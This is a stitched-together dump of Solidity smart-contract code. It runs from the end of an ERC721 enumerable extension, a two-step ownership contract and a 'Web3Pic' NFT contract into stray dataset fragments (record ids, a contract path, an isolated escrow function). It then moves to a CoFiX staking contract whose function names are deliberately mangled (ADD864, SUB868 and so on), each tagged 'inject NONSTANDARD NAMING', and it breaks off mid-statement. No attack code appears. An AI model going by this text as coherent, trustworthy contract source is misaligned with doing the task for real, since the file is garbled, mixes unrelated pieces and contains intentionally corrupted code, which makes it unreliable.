*/ function totalSupply() public view virtual override returns (uint256) { return _allTokens.length; } /** * @dev See {IERC721Enumerable-tokenByIndex}. */ function tokenByIndex(uint256 index) public view virtual override returns (uint256) { require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds"); return _allTokens[index]; } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` cannot be the zero address. * - `to` cannot be the zero address. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual override { super._beforeTokenTransfer(from, to, tokenId); if (from == address(0)) { _addTokenToAllTokensEnumeration(tokenId); } else if (from != to) { _removeTokenFromOwnerEnumeration(from, tokenId); } if (to == address(0)) { _removeTokenFromAllTokensEnumeration(tokenId); } else if (to != from) { _addTokenToOwnerEnumeration(to, tokenId); } } /** * @dev Private function to add a token to this extension's ownership-tracking data structures. * @param to address representing the new owner of the given token ID * @param tokenId uint256 ID of the token to be added to the tokens list of the given address */ function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private { uint256 length = ERC721.balanceOf(to); _ownedTokens[to][length] = tokenId; _ownedTokensIndex[tokenId] = length; } /** * @dev Private function to add a token to this extension's token tracking data structures. * @param tokenId uint256 ID of the token to be added to the tokens list */ function _addTokenToAllTokensEnumeration(uint256 tokenId) private { _allTokensIndex[tokenId] = _allTokens.length; _allTokens.push(tokenId); } /** * @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that * while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for * gas optimizations e.g. when performing a transfer operation (avoiding double writes). * This has O(1) time complexity, but alters the order of the _ownedTokens array. * @param from address representing the previous owner of the given token ID * @param tokenId uint256 ID of the token to be removed from the tokens list of the given address */ function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private { // To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = ERC721.balanceOf(from) - 1; uint256 tokenIndex = _ownedTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary if (tokenIndex != lastTokenIndex) { uint256 lastTokenId = _ownedTokens[from][lastTokenIndex]; _ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index } // This also deletes the contents at the last position of the array delete _ownedTokensIndex[tokenId]; delete _ownedTokens[from][lastTokenIndex]; } /** * @dev Private function to remove a token from this extension's token tracking data structures. * This has O(1) time complexity, but alters the order of the _allTokens array. * @param tokenId uint256 ID of the token to be removed from the tokens list */ function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private { // To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and // then delete the last slot (swap and pop). uint256 lastTokenIndex = _allTokens.length - 1; uint256 tokenIndex = _allTokensIndex[tokenId]; // When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so // rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding // an 'if' statement (like in _removeTokenFromOwnerEnumeration) uint256 lastTokenId = _allTokens[lastTokenIndex]; _allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token _allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index // This also deletes the contents at the last position of the array delete _allTokensIndex[tokenId]; _allTokens.pop(); } } pragma solidity ^0.8.10; /** @notice A two-step extension of Ownable, where the new owner must claim ownership of the contract after owner initiates transfer Owner can cancel the transfer at any point before the new owner claims ownership. Helpful in guarding against transferring ownership to an address that is unable to act as the Owner. */ abstract contract TwoStepOwnable is Ownable { address internal _potentialOwner; error NewOwnerIsZeroAddress(); error NotNextOwner(); ///@notice Initiate ownership transfer to _newOwner. Note: new owner will have to manually claimOwnership ///@param _newOwner address of potential new owner function transferOwnership(address _newOwner) public virtual override onlyOwner { if (_newOwner == address(0)) { revert NewOwnerIsZeroAddress(); } _potentialOwner = _newOwner; } ///@notice Claim ownership of smart contract, after the current owner has initiated the process with transferOwnership function claimOwnership() public virtual { if (msg.sender != _potentialOwner) { revert NotNextOwner(); } _transferOwnership(_potentialOwner); delete _potentialOwner; } ///@notice cancel ownership transfer function cancelOwnershipTransfer() public virtual onlyOwner { delete _potentialOwner; } } pragma solidity ^0.8.10; /** * @dev Web3Pic Contract */ contract Web3Pic is ERC721, Ownable, Pausable, TwoStepOwnable { using Strings for uint256; string baseURI = "ipfs://ipfs/"; string defaultPictureURI = "QmeHMHohNdmnEB8fwfZXLgAjtvKSZ2KaDNCvcUTsZLsyZK"; string forSaleURI = "QmRQLQnpgCJLDtKsDBvm7Xc3C8nNcwSHfnwDC1BPGq4Xbv"; string protectedURI = "QmdTnjLszou2tgC452MaUKgekN4CrdVWFPmk31c452wduD"; uint256 freeUpdatesCount = 10; uint256 Counter; uint256 public mintingCost = .04 ether; uint256 public updateCost = .005 ether; uint256 public resetFreeUpdateCost = .04 ether; uint256 public maxSupply = 10000; uint256 public maxMintAmount = 100; string private initialPicDesc = "This is a Web3 Picture token, it can be used to represent a wallet address in DApps after login, each wallet address can own one or more Web3Pic but assign only one to be primary, the primary picture will be shown as the wallet address picture."; Pic private defaultPicture; struct Pic { uint256 id; // 1 string name; // 2 string description; // 3 uint256 height; // 4 uint256 width; // 5 bool onChain; // 6 string data; // 7 string uri; // 8 bool hideInMarketplaces; // 9 bool lockedToken; // 10 bool primary; // 11 bool minted; // 12 } struct PrimaryHolder { uint256 tokenId; bool isPrimary; } mapping(uint256 => Pic) picsMap; mapping(address => uint256[]) ownerPics; mapping(uint256 => uint256) freeUpdatesMap; mapping(address => PrimaryHolder) ownerPrimaryPic; // Events event NewPic(address indexed owner, uint256 id); event PicDataSet(address indexed owner, uint256 id); /** * @dev Construct and deploy Web3Pic contract */ constructor() Pausable() ERC721("Web3Pic", "W3P") { defaultPicture = Pic(0 , "", "", 0, 0, false, "", defaultPictureURI, false, false, false, true); } ///@notice Initiate ownership transfer to _newOwner. Note: new owner will have to manually claimOwnership ///@param _newOwner address of potential new owner function transferOwnership(address _newOwner) public virtual override(Ownable, TwoStepOwnable) onlyOwner { if (_newOwner == address(0)) { revert NewOwnerIsZeroAddress(); } _potentialOwner = _newOwner; } /** * @dev withdraw the fees balance */ function withdraw() external onlyOwner { address payable _owner = payable(owner()); _owner.transfer(address(this).balance); } /** * @dev Set pictures base URI */ function setBaseURI(string memory _newBaseURI) public onlyOwner { baseURI = _newBaseURI; } /** * @dev Set no-Pic picture URI */ function setDefaultPictureURI(string memory _newDefaultPictureURI) public onlyOwner { defaultPictureURI = _newDefaultPictureURI; } /** * @dev Set for-sale picture URI */ function setForSaleURI(string memory _newForSaleURI) public onlyOwner { forSaleURI = _newForSaleURI; } /** * @dev Set protected picture URI */ function setProtectedURI(string memory _newProtectedURI) public onlyOwner { protectedURI = _newProtectedURI; } /** * @dev Set minting cost. */ function setMintingCost(uint256 _newMintingCost) public onlyOwner { mintingCost = _newMintingCost; } /** * @dev Set update cost. */ function setUpdateCost(uint256 _newUpdateCost) public onlyOwner { updateCost = _newUpdateCost; } /** * @dev Set maximum minting amount */ function setmaxMintAmount(uint256 _newMaxMintAmount) public onlyOwner { maxMintAmount = _newMaxMintAmount; } /** * @dev Set maximum supply */ function setmaxSupply(uint256 _maxSupply) public onlyOwner { maxSupply = _maxSupply; } /** * @dev Set Free Updates Count */ function setFreeUpdatesCount(uint256 _freeUpdatesCount) public onlyOwner { freeUpdatesCount = _freeUpdatesCount; } /** * @dev Update Reset Free Updates cost. */ function setResetFreeUpdateCost(uint256 _resetFreeUpdateCost) public onlyOwner { resetFreeUpdateCost = _resetFreeUpdateCost; } /** * @dev Update initial picture description */ function updateInitialPictureDesc(string memory _initialPicDesc) public onlyOwner { initialPicDesc = _initialPicDesc; } /** * @dev pause */ function pause() public onlyOwner { super._pause(); } /** * @dev unpause */ function unPause() public onlyOwner { super._unpause(); } /** * @dev Create new Web3Pics with default initial values */ function createPics(uint256 numberOfPictures) public whenNotPaused onlyOwner { require(numberOfPictures <= maxMintAmount); for (uint256 i = 0; i < numberOfPictures; i++) { createPic(); } } /** * @dev Create new Web3Pic with default initial values */ function createPic() public payable whenNotPaused{ if(msg.sender != owner()){ require(msg.value >= mintingCost, "Please supply the cost of the picture" ); } // |1 |2 |3 |4 |5 |6 |7 |8 |10 |11 |12 |13 Pic memory newPic = Pic(Counter, string(abi.encodePacked("W3P " , Counter.toString())), initialPicDesc, 0, 0, false, "", "", false, false, false, true); picsMap[Counter] = newPic; ownerPics[msg.sender].push(Counter); _safeMint(msg.sender, Counter); emit NewPic(msg.sender, Counter); Counter++; } /** * @dev Set picture attributes */ function setPicAttributes(uint256 tokenId, string memory name, string memory description, bool hideInMarketplaces, bool primary) public payable { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); require(ERC721.ownerOf(tokenId) == msg.sender, "ERC721: only current token owner can update the token"); checkFreeUpdates(msg.sender, tokenId); Pic storage p = picsMap[tokenId]; require(p.lockedToken == false, "You cannot update a locked picture"); p.name = name; p.description = description; p.hideInMarketplaces = hideInMarketplaces; //p.disabled = disabled; if(primary){ ownerPrimaryPic[msg.sender] = PrimaryHolder(tokenId, true); } emit PicDataSet(msg.sender, tokenId); } /** * @dev Reset Free Updates For a Picture */ function resetFreeUpdatesForPicture(uint256 tokenId) public payable { if(msg.sender != owner()){ require(_isApprovedOrOwner(msg.sender, tokenId)); require(msg.value >= resetFreeUpdateCost, "Please supply the cost of reseting the free updates" ); } freeUpdatesMap[tokenId] = 0; } /** * @dev Lock the picture forever, no further update is allowed */ function lockPic(uint256 tokenId) public payable { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); require(ERC721.ownerOf(tokenId) == msg.sender, "ERC721: only current token owner can lock the token"); checkFreeUpdates(msg.sender, tokenId); Pic storage p = picsMap[tokenId]; p.lockedToken = true; emit PicDataSet(msg.sender, tokenId); } /** * @dev Update OnChain pic content with its attributes */ function setOnChainPic(uint256 tokenId, string memory name, string memory description, uint256 height, uint256 width, string memory data, bool hideInMarketplaces, bool primary) public payable { setPicInternal(true, tokenId, name, description, height, width, data, "", hideInMarketplaces, primary); } /** * @dev Update OffChain pic content with its attributes */ function setOffChainPic(uint256 tokenId, string memory name, string memory description, uint256 height, uint256 width, string memory uri, bool hideInMarketplaces, bool primary) public payable { setPicInternal(false, tokenId, name, description, height, width, "", uri, hideInMarketplaces, primary); } /** * @dev Internal - Update pic content with its attributes */ function setPicInternal(bool onChain, uint256 tokenId, string memory name, string memory description, uint256 height, uint256 width, string memory data, string memory uri, bool hideInMarketplaces, bool primary) internal { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); require(ERC721.ownerOf(tokenId) == msg.sender, "ERC721: only current token owner can update the token"); checkFreeUpdates(msg.sender, tokenId); Pic storage p = picsMap[tokenId]; require(p.lockedToken == false, "You cannot update a locked picture"); p.name = name; p.description = description; p.onChain = onChain; p.height = height; p.width = width; p.data = data; p.uri = uri; p.hideInMarketplaces = hideInMarketplaces; if(primary){ ownerPrimaryPic[msg.sender] = PrimaryHolder(tokenId, true); } emit PicDataSet(msg.sender, tokenId); } /** * @dev Get owner pictures */ function getOwnerPics() public view returns(Pic[] memory pics) { uint256[] memory picsTokens = ownerPics[msg.sender]; Pic[] memory result = new Pic[](picsTokens.length); for (uint256 i = 0; i < picsTokens.length; i++) { Pic memory p = picsMap[picsTokens[i]]; if(ownerPrimaryPic[msg.sender].isPrimary && ownerPrimaryPic[msg.sender].tokenId == p.id){ p.primary = true; } result[i] = p; } return result; } /** * @dev Get Owner single picture */ function getOwnerPic(uint256 _tokenId) public view returns(Pic memory pic) { require(_isApprovedOrOwner(msg.sender, _tokenId)); require(picsMap[_tokenId].minted); Pic memory p = picsMap[_tokenId]; if(ownerPrimaryPic[msg.sender].isPrimary && ownerPrimaryPic[msg.sender].tokenId == _tokenId){ p.primary = true; } return p; } /** * @dev Get Owner primary picture */ function getOwnerPrimaryPic(address _owner) public view returns(Pic memory pic) { uint256[] memory picsTokens = ownerPics[_owner]; // if not picture at all, return the default picture if(picsTokens.length == 0) return defaultPicture; // check if there is a primary saved if(ownerPrimaryPic[_owner].isPrimary != true){ // if it is not saved, get the first of the owner pictures Pic memory anyPic = picsMap[picsTokens[0]]; return anyPic; } uint256 primaryPicId = ownerPrimaryPic[_owner].tokenId; return picsMap[primaryPicId]; } /** * @dev Get Owner pictures tokens */ function getOwnerPicsTokens() public view returns(uint256[] memory) { uint256[] memory picsTokens = ownerPics[msg.sender]; return picsTokens; } /** * @dev Get picture tokenURI */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId),"ERC721Metadata: URI query for nonexistent token"); Pic memory pic = picsMap[tokenId]; if(ownerOf(tokenId) == owner()){ return string(abi.encodePacked( 'data:application/json;base64,', Base64.encode(bytes(abi.encodePacked( '{"name" : "', pic.name,'",', '"description" : "', pic.description,'", "image": "', abi.encodePacked(baseURI, forSaleURI), '"}' ))))); } if(pic.hideInMarketplaces){ return string(abi.encodePacked( 'data:application/json;base64,', Base64.encode(bytes(abi.encodePacked( '{"name" : "', pic.name,'",', '"description" : "', pic.description,'", "image": "', abi.encodePacked(baseURI, protectedURI), '"}' ))))); } if(pic.onChain){ return string(abi.encodePacked( 'data:application/json;base64,', Base64.encode(bytes(abi.encodePacked( '{"name" : "', pic.name, '",', '"description" : "', pic.description,'", "image": "', pic.data, '"}' ))))); } else{ return string(abi.encodePacked( 'data:application/json;base64,', Base64.encode(bytes(abi.encodePacked( '{"name" : "', pic.name,'",', '"description" : "', pic.description,'", "image": "', abi.encodePacked(baseURI, pic.uri), '"}' ))))); } } /** * @dev Get remaining free updates count for a pic */ function getFreeUpdatesCountForPic(uint256 tokenId) public view returns(uint256) { require(_isApprovedOrOwner(msg.sender, tokenId)); return freeUpdatesCount - freeUpdatesMap[tokenId]; } /** * @dev Get current update cost for a picture */ function getUpdateCostForPic(uint256 tokenId) public view returns(uint256) { require(_isApprovedOrOwner(msg.sender, tokenId)); if(freeUpdatesMap[tokenId] >= freeUpdatesCount){ return updateCost; } else{ return 0; } } /** * @dev Internal - Check if owner can freely update the picture and increment the number of free updates used. */ function checkFreeUpdates(address _address, uint256 tokenId) internal { if(_address != owner()){ if(freeUpdatesMap[tokenId] == freeUpdatesCount){ require(msg.value >= updateCost, "Please supply the cost of updating the picture" ); } else{ freeUpdatesMap[tokenId]++; } } } /** * @dev Internal - Remove picture from an array */ function removePicFromBag(uint index, uint256[] storage array) internal returns(uint256[] memory) { if (index >= array.length) return array; for (uint i = index; i < array.length-1; i++){ array[i] = array[i+1]; } delete array[array.length-1]; array.pop(); return array; } /** * @dev Internal - Re-arrange owner's pictures when transferring one picture. */ function _transfer(address from, address to, uint256 tokenId) internal override { super._transfer(from, to, tokenId); uint256[] storage oldOwnerPics = ownerPics[from]; uint256 indexOfToken = 0; for (uint256 i = 0; i < oldOwnerPics.length; i++) { if(oldOwnerPics[i] == tokenId) { indexOfToken = i; } } if(ownerPrimaryPic[from].isPrimary == true){ ownerPrimaryPic[from].isPrimary = false; } removePicFromBag(indexOfToken, oldOwnerPics); ownerPics[to].push(tokenId); } }
Set no-Pic picture URI/
function setDefaultPictureURI(string memory _newDefaultPictureURI) public onlyOwner { defaultPictureURI = _newDefaultPictureURI; }
2,410,088
./full_match/5/0xc1b4faCEDdCf74321d5eC5a611FcEb8E98baE2bA/sources/project_/contracts/NftAuction.sol
Escrows the NFT, assigning ownership to this contract. it will throw if transfer fails
function _escrow(address _owner, uint256 _tokenId) internal { nonFungibleContract.transferFrom(_owner, address(this), _tokenId); }
1,878,683
// SPDX-License-Identifier: GPL-3.0-or-later pragma solidity 0.6.12; // library SafeMath { function ADD864(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function SUB868(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return SUB868(a, b, "SafeMath: subtraction overflow"); } function SUB868(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b <= a, errorMessage); uint256 c = a - b; return c; } function MUL988(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function DIV926(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return DIV926(a, b, "SafeMath: division by zero"); } function DIV926(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function MOD713(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return MOD713(a, b, "SafeMath: modulo by zero"); } function MOD713(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { //inject NONSTANDARD NAMING require(b != 0, errorMessage); return a % b; } } // // helper methods for interacting with ERC20 tokens and sending ETH that do not consistently return true/false library TransferHelper { function SAFEAPPROVE567(address token, address to, uint value) internal { //inject NONSTANDARD NAMING // bytes4(keccak256(bytes('approve(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x095ea7b3, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: APPROVE_FAILED'); } function SAFETRANSFER962(address token, address to, uint value) internal { //inject NONSTANDARD NAMING // bytes4(keccak256(bytes('transfer(address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0xa9059cbb, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FAILED'); } function SAFETRANSFERFROM567(address token, address from, address to, uint value) internal { //inject NONSTANDARD NAMING // bytes4(keccak256(bytes('transferFrom(address,address,uint256)'))); (bool success, bytes memory data) = token.call(abi.encodeWithSelector(0x23b872dd, from, to, value)); require(success && (data.length == 0 || abi.decode(data, (bool))), 'TransferHelper: TRANSFER_FROM_FAILED'); } function SAFETRANSFERETH46(address to, uint value) internal { //inject NONSTANDARD NAMING (bool success,) = to.call{value:value}(new bytes(0)); require(success, 'TransferHelper: ETH_TRANSFER_FAILED'); } } // library Math { function MAX98(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return a >= b ? a : b; } function MIN757(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING return a < b ? a : b; } function AVERAGE252(uint256 a, uint256 b) internal pure returns (uint256) { //inject NONSTANDARD NAMING // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // contract ReentrancyGuard { // Booleans are more expensive than uint256 or any type that takes up a full // word because each write operation emits an extra SLOAD to first read the // slot's contents, replace the bits taken up by the boolean, and then write // back. This is the compiler's defense against contract upgrades and // pointer aliasing, and it cannot be disabled. // The values being non-zero value makes deployment a bit more expensive, // but in exchange the refund on every call to nonReentrant will be lower in // amount. Since refunds are capped to a percentage of the total // transaction's gas, it is best to keep them low in cases like this one, to // increase the likelihood of the full refund coming into effect. uint256 private constant _not_entered371 = 1; //inject NONSTANDARD NAMING uint256 private constant _entered907 = 2; //inject NONSTANDARD NAMING uint256 private _status; constructor () internal { _status = _not_entered371; } modifier NONREENTRANT361() { //inject NONSTANDARD NAMING // On the first call to nonReentrant, _notEntered will be true require(_status != _entered907, "ReentrancyGuard: reentrant call"); // Any calls to nonReentrant after this point will fail _status = _entered907; _; // By storing the original value once again, a refund is triggered (see // https://eips.ethereum.org/EIPS/eip-2200) _status = _not_entered371; } } // interface ICoFiXStakingRewards { // Views function REWARDSVAULT139() external view returns (address); //inject NONSTANDARD NAMING function LASTBLOCKREWARDAPPLICABLE573() external view returns (uint256); //inject NONSTANDARD NAMING function REWARDPERTOKEN122() external view returns (uint256); //inject NONSTANDARD NAMING function EARNED893(address account) external view returns (uint256); //inject NONSTANDARD NAMING function ACCRUED168() external view returns (uint256); //inject NONSTANDARD NAMING function REWARDRATE36() external view returns (uint256); //inject NONSTANDARD NAMING function TOTALSUPPLY567() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF980(address account) external view returns (uint256); //inject NONSTANDARD NAMING function STAKINGTOKEN641() external view returns (address); //inject NONSTANDARD NAMING function REWARDSTOKEN657() external view returns (address); //inject NONSTANDARD NAMING // Mutative function STAKE225(uint256 amount) external; //inject NONSTANDARD NAMING function STAKEFOROTHER357(address other, uint256 amount) external; //inject NONSTANDARD NAMING function WITHDRAW360(uint256 amount) external; //inject NONSTANDARD NAMING function EMERGENCYWITHDRAW536() external; //inject NONSTANDARD NAMING function GETREWARD438() external; //inject NONSTANDARD NAMING function GETREWARDANDSTAKE43() external; //inject NONSTANDARD NAMING function EXIT912() external; //inject NONSTANDARD NAMING function ADDREWARD881(uint256 amount) external; //inject NONSTANDARD NAMING // Events event REWARDADDED378(address sender, uint256 reward); //inject NONSTANDARD NAMING event STAKED268(address indexed user, uint256 amount); //inject NONSTANDARD NAMING event STAKEDFOROTHER964(address indexed user, address indexed other, uint256 amount); //inject NONSTANDARD NAMING event WITHDRAWN805(address indexed user, uint256 amount); //inject NONSTANDARD NAMING event EMERGENCYWITHDRAW7(address indexed user, uint256 amount); //inject NONSTANDARD NAMING event REWARDPAID501(address indexed user, uint256 reward); //inject NONSTANDARD NAMING } // interface ICoFiXVaultForLP { enum POOL_STATE {INVALID, ENABLED, DISABLED} event NEWPOOLADDED559(address pool, uint256 index); //inject NONSTANDARD NAMING event POOLENABLED434(address pool); //inject NONSTANDARD NAMING event POOLDISABLED539(address pool); //inject NONSTANDARD NAMING function SETGOVERNANCE394(address _new) external; //inject NONSTANDARD NAMING function SETINITCOFIRATE698(uint256 _new) external; //inject NONSTANDARD NAMING function SETDECAYPERIOD166(uint256 _new) external; //inject NONSTANDARD NAMING function SETDECAYRATE667(uint256 _new) external; //inject NONSTANDARD NAMING function ADDPOOL220(address pool) external; //inject NONSTANDARD NAMING function ENABLEPOOL504(address pool) external; //inject NONSTANDARD NAMING function DISABLEPOOL836(address pool) external; //inject NONSTANDARD NAMING function SETPOOLWEIGHT937(address pool, uint256 weight) external; //inject NONSTANDARD NAMING function BATCHSETPOOLWEIGHT100(address[] memory pools, uint256[] memory weights) external; //inject NONSTANDARD NAMING function DISTRIBUTEREWARD70(address to, uint256 amount) external; //inject NONSTANDARD NAMING function GETPENDINGREWARDOFLP590(address pair) external view returns (uint256); //inject NONSTANDARD NAMING function CURRENTPERIOD82() external view returns (uint256); //inject NONSTANDARD NAMING function CURRENTCOFIRATE163() external view returns (uint256); //inject NONSTANDARD NAMING function CURRENTPOOLRATE277(address pool) external view returns (uint256 poolRate); //inject NONSTANDARD NAMING function CURRENTPOOLRATEBYPAIR255(address pair) external view returns (uint256 poolRate); //inject NONSTANDARD NAMING function STAKINGPOOLFORPAIR714(address pair) external view returns (address pool); //inject NONSTANDARD NAMING function GETPOOLINFO427(address pool) external view returns (POOL_STATE state, uint256 weight); //inject NONSTANDARD NAMING function GETPOOLINFOBYPAIR166(address pair) external view returns (POOL_STATE state, uint256 weight); //inject NONSTANDARD NAMING function GETENABLEDPOOLCNT412() external view returns (uint256); //inject NONSTANDARD NAMING function GETCOFISTAKINGPOOL12() external view returns (address pool); //inject NONSTANDARD NAMING } // interface IERC20 { function TOTALSUPPLY567() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF980(address account) external view returns (uint256); //inject NONSTANDARD NAMING function TRANSFER204(address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function ALLOWANCE758(address owner, address spender) external view returns (uint256); //inject NONSTANDARD NAMING function APPROVE960(address spender, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING function TRANSFERFROM982(address sender, address recipient, uint256 amount) external returns (bool); //inject NONSTANDARD NAMING event TRANSFER211(address indexed from, address indexed to, uint256 value); //inject NONSTANDARD NAMING event APPROVAL330(address indexed owner, address indexed spender, uint256 value); //inject NONSTANDARD NAMING } // interface ICoFiStakingRewards { // Views function REWARDPERTOKEN122() external view returns (uint256); //inject NONSTANDARD NAMING function EARNED893(address account) external view returns (uint256); //inject NONSTANDARD NAMING function ACCRUED168() external view returns (uint256); //inject NONSTANDARD NAMING function TOTALSUPPLY567() external view returns (uint256); //inject NONSTANDARD NAMING function BALANCEOF980(address account) external view returns (uint256); //inject NONSTANDARD NAMING function STAKINGTOKEN641() external view returns (address); //inject NONSTANDARD NAMING function REWARDSTOKEN657() external view returns (address); //inject NONSTANDARD NAMING // Mutative function STAKE225(uint256 amount) external; //inject NONSTANDARD NAMING function STAKEFOROTHER357(address other, uint256 amount) external; //inject NONSTANDARD NAMING function WITHDRAW360(uint256 amount) external; //inject NONSTANDARD NAMING function EMERGENCYWITHDRAW536() external; //inject NONSTANDARD NAMING function GETREWARD438() external; //inject NONSTANDARD NAMING function ADDETHREWARD660() external payable; //inject NONSTANDARD NAMING function EXIT912() external; //inject NONSTANDARD NAMING // Events event STAKED268(address indexed user, uint256 amount); //inject NONSTANDARD NAMING event STAKEDFOROTHER964(address indexed user, address indexed other, uint256 amount); //inject NONSTANDARD NAMING event WITHDRAWN805(address indexed user, uint256 amount); //inject NONSTANDARD NAMING event SAVINGWITHDRAWN125(address indexed to, uint256 amount); //inject NONSTANDARD NAMING event EMERGENCYWITHDRAW7(address indexed user, uint256 amount); //inject NONSTANDARD NAMING event REWARDPAID501(address indexed user, uint256 reward); //inject NONSTANDARD NAMING } // interface ICoFiXFactory { // All pairs: {ETH <-> ERC20 Token} event PAIRCREATED889(address indexed token, address pair, uint256); //inject NONSTANDARD NAMING event NEWGOVERNANCE470(address _new); //inject NONSTANDARD NAMING event NEWCONTROLLER331(address _new); //inject NONSTANDARD NAMING event NEWFEERECEIVER222(address _new); //inject NONSTANDARD NAMING event NEWFEEVAULTFORLP508(address token, address feeVault); //inject NONSTANDARD NAMING event NEWVAULTFORLP769(address _new); //inject NONSTANDARD NAMING event NEWVAULTFORTRADER72(address _new); //inject NONSTANDARD NAMING event NEWVAULTFORCNODE372(address _new); //inject NONSTANDARD NAMING function CREATEPAIR976( //inject NONSTANDARD NAMING address token ) external returns (address pair); function GETPAIR599(address token) external view returns (address pair); //inject NONSTANDARD NAMING function ALLPAIRS153(uint256) external view returns (address pair); //inject NONSTANDARD NAMING function ALLPAIRSLENGTH789() external view returns (uint256); //inject NONSTANDARD NAMING function GETTRADEMININGSTATUS473(address token) external view returns (bool status); //inject NONSTANDARD NAMING function SETTRADEMININGSTATUS493(address token, bool status) external; //inject NONSTANDARD NAMING function GETFEEVAULTFORLP473(address token) external view returns (address feeVault); // for LPs //inject NONSTANDARD NAMING function SETFEEVAULTFORLP669(address token, address feeVault) external; //inject NONSTANDARD NAMING function SETGOVERNANCE394(address _new) external; //inject NONSTANDARD NAMING function SETCONTROLLER726(address _new) external; //inject NONSTANDARD NAMING function SETFEERECEIVER908(address _new) external; //inject NONSTANDARD NAMING function SETVAULTFORLP99(address _new) external; //inject NONSTANDARD NAMING function SETVAULTFORTRADER40(address _new) external; //inject NONSTANDARD NAMING function SETVAULTFORCNODE20(address _new) external; //inject NONSTANDARD NAMING function GETCONTROLLER295() external view returns (address controller); //inject NONSTANDARD NAMING function GETFEERECEIVER766() external view returns (address feeReceiver); // For CoFi Holders //inject NONSTANDARD NAMING function GETVAULTFORLP604() external view returns (address vaultForLP); //inject NONSTANDARD NAMING function GETVAULTFORTRADER901() external view returns (address vaultForTrader); //inject NONSTANDARD NAMING function GETVAULTFORCNODE682() external view returns (address vaultForCNode); //inject NONSTANDARD NAMING } // // Stake XToken to earn CoFi Token contract CoFiXStakingRewards is ICoFiXStakingRewards, ReentrancyGuard { using SafeMath for uint256; address public override immutable rewardsToken; // CoFi address public override immutable stakingToken; // XToken or CNode address public immutable factory; uint256 public lastUpdateBlock; uint256 public rewardPerTokenStored; mapping(address => uint256) public userRewardPerTokenPaid; mapping(address => uint256) public rewards; uint256 private _totalSupply; mapping(address => uint256) private _balances; constructor( address _rewardsToken, address _stakingToken, address _factory ) public { rewardsToken = _rewardsToken; stakingToken = _stakingToken; require(ICoFiXFactory(_factory).GETVAULTFORLP604() != address(0), "VaultForLP not set yet"); // check factory = _factory; lastUpdateBlock = 11040688; // https://etherscan.io/block/countdown/11040688 } // replace cofixVault with rewardsVault, this could introduce more calls, but clear is more important function REWARDSVAULT139() public virtual override view returns (address) { //inject NONSTANDARD NAMING return ICoFiXFactory(factory).GETVAULTFORLP604(); } function TOTALSUPPLY567() external override view returns (uint256) { //inject NONSTANDARD NAMING return _totalSupply; } function BALANCEOF980(address account) external override view returns (uint256) { //inject NONSTANDARD NAMING return _balances[account]; } function LASTBLOCKREWARDAPPLICABLE573() public override view returns (uint256) { //inject NONSTANDARD NAMING return block.number; } function REWARDPERTOKEN122() public override view returns (uint256) { //inject NONSTANDARD NAMING if (_totalSupply == 0) { return rewardPerTokenStored; } return rewardPerTokenStored.ADD864( ACCRUED168().MUL988(1e18).DIV926(_totalSupply) ); } function _REWARDPERTOKENANDACCRUED426() internal view returns (uint256, uint256) { //inject NONSTANDARD NAMING if (_totalSupply == 0) { // use the old rewardPerTokenStored, and accrued should be zero here // if not the new accrued amount will never be distributed to anyone return (rewardPerTokenStored, 0); } uint256 _accrued = 